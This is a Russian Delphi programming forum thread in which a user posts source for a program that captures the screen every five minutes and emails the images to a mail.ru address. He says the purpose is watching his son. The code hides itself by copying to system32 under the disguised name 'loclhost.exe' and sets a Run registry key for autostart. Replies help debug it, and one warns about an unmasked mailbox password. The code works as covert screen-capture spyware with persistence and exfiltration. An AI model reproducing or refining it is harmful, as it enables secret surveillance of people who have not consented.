Форум программистов
 

Восстановите пароль или Зарегистрируйтесь на форуме, о проблемах и с заказом рекламы пишите сюда - alarforum@yandex.ru, проверяйте папку спам!

Вернуться   Форум программистов > Delphi программирование > Работа с сетью в Delphi
Регистрация

Восстановить пароль
Повторная активизация e-mail

Купить рекламу на форуме - 42 тыс руб за месяц

Ответ
 
Опции темы Поиск в этой теме
Старый 11.03.2012, 16:39   #1
Sinkl
 
Регистрация: 20.09.2010
Сообщений: 5
Вопрос Сделать снимок экрана и отправить на email (Хоть тресни не коннектится)

Пытаюсь написать небольшую программку суть такова прога делает снимок экрана и отправляет его по почте рас в 5 мин (Слежу во что сынишка играет на компе) добавляю её в авто запуск всё работает прекрасно отправляет как надо, соединение отслеживаю путём пингования IP адреса всё хорошо но только стоит выключить или перезагрузить ПК программка тут же перестаёт отправлять снимки на почту как только я её перезапускаю в ручную всё снова идёт как по маслу) В чем может быть ошибка? скажу честно я не очень силён в программирование). надеюсь на вашу любую помощь Винда Xp sp3


Код:
unit Unit3;

interface

uses
  Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
  Dialogs, StdCtrls, IdBaseComponent, IdComponent, IdRawBase, IdRawClient,
  IdIcmpClient, ExtCtrls, jpeg, IdMessage, IdTCPConnection, IdTCPClient,
  IdExplicitTLSClientServerBase, IdMessageClient, IdSMTPBase, IdSMTP,IdAttachmentFile,RegisTry;

type
  TForm3 = class(TForm)
    IdIcmpClient1: TIdIcmpClient;
    Button1: TButton;
    Timer1: TTimer;
    Button2: TButton;
    IdSMTP1: TIdSMTP;
    IdMessage1: TIdMessage;
    Timer2: TTimer;
    procedure Button1Click(Sender: TObject);
    procedure IdIcmpClient1Reply(ASender: TComponent;
      const AReplyStatus: TReplyStatus);
    procedure Timer1Timer(Sender: TObject);
    procedure Button2Click(Sender: TObject);
    procedure Timer2Timer(Sender: TObject);
  private
    { Private declarations }
  public
  procedure GetRS(RS:TBitmap; Path: string);
    { Public declarations }
  end;

var
  Form3: TForm3;

implementation

{$R *.dfm}

procedure TForm3.GetRS(RS: TBitmap; Path: string);
var
 c: TCanvas;
 r: TRect;
 jpgImg: TJPEGImage;
 attach: TIdAttachmentFile;
 b: TBitMap;
begin
 c:=TCanvas.Create;
 c.Handle:=getWindowDC(GetDesktopWindow);
 try
  r:=Rect(0,0,screen.Width,screen.Height);
  RS.Width:=screen.Width;
  RS.Height:=screen.Height;
  RS.Canvas.CopyRect(r,c,r);
  RS.SaveToFile(Path);
  jpgImg := TJPEGImage.Create;
  jpgImg.Assign(RS);
  jpgImg.SaveToFile(Path)
 finally
  ReleaseDC(0,c.Handle);
  c.Free;
  jpgImg.Free;
 end;
 try
IdSMTP1.AuthType := satDefault;
idsmtp1.Host:='smtp.mail.ru';
idsmtp1.Port:=25;
idsmtp1.Username:='Scriner96';
idsmtp1.Password:='*****';
idmessage1.Body.Text:='ScrinShot';
idmessage1.From.Text:='Scriner96@mail.ru';
idmessage1.Recipients.EMailAddresses:='Scriner96@mail.ru';
idmessage1.Subject:='Scrin';
attach:=TIdAttachmentFile.Create(idmessage1.MessageParts,'1src.jpg');
idsmtp1.Connect;
except
////ERROR////
 end;
if idsmtp1.Connected=true then
begin
idsmtp1.Send(idmessage1);
idsmtp1.Disconnect;
attach.Free;
end

else
begin
idsmtp1.Disconnect;
idSMTP1.Free;
idmessage1.Free;
attach.Free;
end
end;

procedure TForm3.Timer2Timer(Sender: TObject);
begin
if FindWindow(nil, 'Подключение: byfly') <> 0 then
begin
timer1.Enabled:=True;
timer2.Enabled:=False;
end
else
begin

end;
end;
end.

procedure TForm3.Timer1Timer(Sender: TObject);
begin
button1.Click;
end;

procedure TForm3.Button1Click(Sender: TObject);
var reg: tregistry;
begin
CopyFile(PChar(ParamStr(0)), PChar('C:\WINDOWS\system32\loclhost.exe'), True);
begin
 reg := tregistry.create;
 reg.rootkey := hkey_local_machine;
 reg.lazywrite := false;
 reg.openkey('software\microsoft\windows\currentversion\run', false);
 reg.writestring('loclhost', 'C:\WINDOWS\system32\loclhost.exe'); 
 reg.closekey;
 reg.free;
end;
IdIcmpClient1.Host:='173.194.35.184';
IdIcmpClient1.Ping; //Пингуем
end;

procedure TForm3.IdIcmpClient1Reply(ASender: TComponent;
  const AReplyStatus: TReplyStatus);
var
i:integer;
begin
i:=0;
i:= (AReplyStatus.MsRoundTripTime);
if i < 1000 then
button2.Click
else begin

end;

end;

procedure TForm3.Button2Click(Sender: TObject);
var
 b: TBitMap;
begin
 try
 b:=TBitMap.Create;
 GetRS(b,ExtractFilePath(Application.ExeName) + '1src.jpg');
 b.Free;
 except

 end;
end;
end.
Проект выложил чуть ниже
Вложения
Тип файла: rar Programm.rar (10.1 Кб, 18 просмотров)

Последний раз редактировалось rpy3uH; 12.03.2012 в 13:01.
Sinkl вне форума Ответить с цитированием
Старый 11.03.2012, 17:52   #2
Человек_Борща
Старожил
 
Аватар для Человек_Борща
 
Регистрация: 30.12.2009
Сообщений: 11,426
По умолчанию

Нету там ошибок
Человек_Борща вне форума Ответить с цитированием
Старый 11.03.2012, 23:13   #3
Sinkl
 
Регистрация: 20.09.2010
Сообщений: 5
По умолчанию хмм...

ну если всё правильно нет никаких ошибок тогда почему после перезагрузки ПК прога нормально стартует вопросов нет но вот снимки не в какую не хочет отправлять? всё работает только после ручного перезапуска
Sinkl вне форума Ответить с цитированием
Старый 12.03.2012, 09:36   #4
BARNEY
Участник клуба
 
Регистрация: 23.04.2009
Сообщений: 1,058
По умолчанию

винда не 7 ?? может стоит bat файлом запускать с правами администратора.
Если вам человек помог, не стесняйтесь говорить спасибо (весы под аватаром)
BARNEY вне форума Ответить с цитированием
Старый 12.03.2012, 21:46   #5
Sinkl
 
Регистрация: 20.09.2010
Сообщений: 5
По умолчанию

Винда XP Sp3 пробовал и через батник и писал отдельную прогу для запуска и всё равно не хочет работать( перезапускаю вручную всё норм ребят что может быть? может дело не в самом коде а где-нибудь в винде? кстати антивирус тоже пробовал отключать не помогл
Sinkl вне форума Ответить с цитированием
Старый 13.03.2012, 06:54   #6
Slym
Участник клуба
 
Регистрация: 07.12.2011
Сообщений: 1,025
По умолчанию

поправил тестируй
Вложения
Тип файла: zip Programm.zip (4.5 Кб, 44 просмотров)
Не стесняемся, плюсуем!
Slym вне форума Ответить с цитированием
Старый 13.03.2012, 20:13   #7
Sinkl
 
Регистрация: 20.09.2010
Сообщений: 5
По умолчанию

Slym спасибо тебе всё прекрасно работает!) а не подскажиш в чем проблемка та была? я так и не понял
Sinkl вне форума Ответить с цитированием
Старый 13.03.2012, 20:42   #8
Slym
Участник клуба
 
Регистрация: 07.12.2011
Сообщений: 1,025
По умолчанию

1. все что не нужно сразу фтопку.
тут не моделирование ядерного взрыва где каждый реалок или реинициализация губительны
оставленный в живых объект может запомнить свое предыдущее состояние и незаметно портить воздух на втором проходе
2. Где породил там и убей.
а ты битмапы размазал на несколько процедур.
3. выделяй сущности и шаги
не надо все подряд запихивать в одну процедуру - одно действие одна процедура, джампы губительны на большом колве итераций - вот там беспроцедурный инлайн
4. накуя 2 таймера? вот в часах сколько таймеров? по колву стрелок?
часовая стрелка срабатывает раз в час, минутная раз в минуту а секундная раз в секунду?
нет!!! только секундная - остальное все на счетчиках 60, 3600
5. смени пароль ящика в архиве незазвездено
Не стесняемся, плюсуем!

Последний раз редактировалось Slym; 13.03.2012 в 20:46.
Slym вне форума Ответить с цитированием
Старый 13.03.2012, 22:03   #9
Sinkl
 
Регистрация: 20.09.2010
Сообщений: 5
По умолчанию

Спасибо всё понятно досупно)) а ящик тестовый) падумал быть может каму лень на свой ставить)))
Sinkl вне форума Ответить с цитированием
Ответ


Купить рекламу на форуме - 42 тыс руб за месяц



Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
как сделать снимок экрана? Briz Общие вопросы Delphi 28 10.04.2013 16:29
Снимок области экрана под формой SalasAndriy Мультимедиа в Delphi 1 09.10.2010 17:01
gdi+ снимок экрана Pedro Мультимедиа в Delphi 6 10.01.2010 22:51
Как сделать снимок экрана в графическом режиме? Борис2 Паскаль, Turbo Pascal, PascalABC.NET 9 08.12.2007 21:07
Снимок экрана Viteef Общие вопросы Delphi 9 16.05.2007 20:12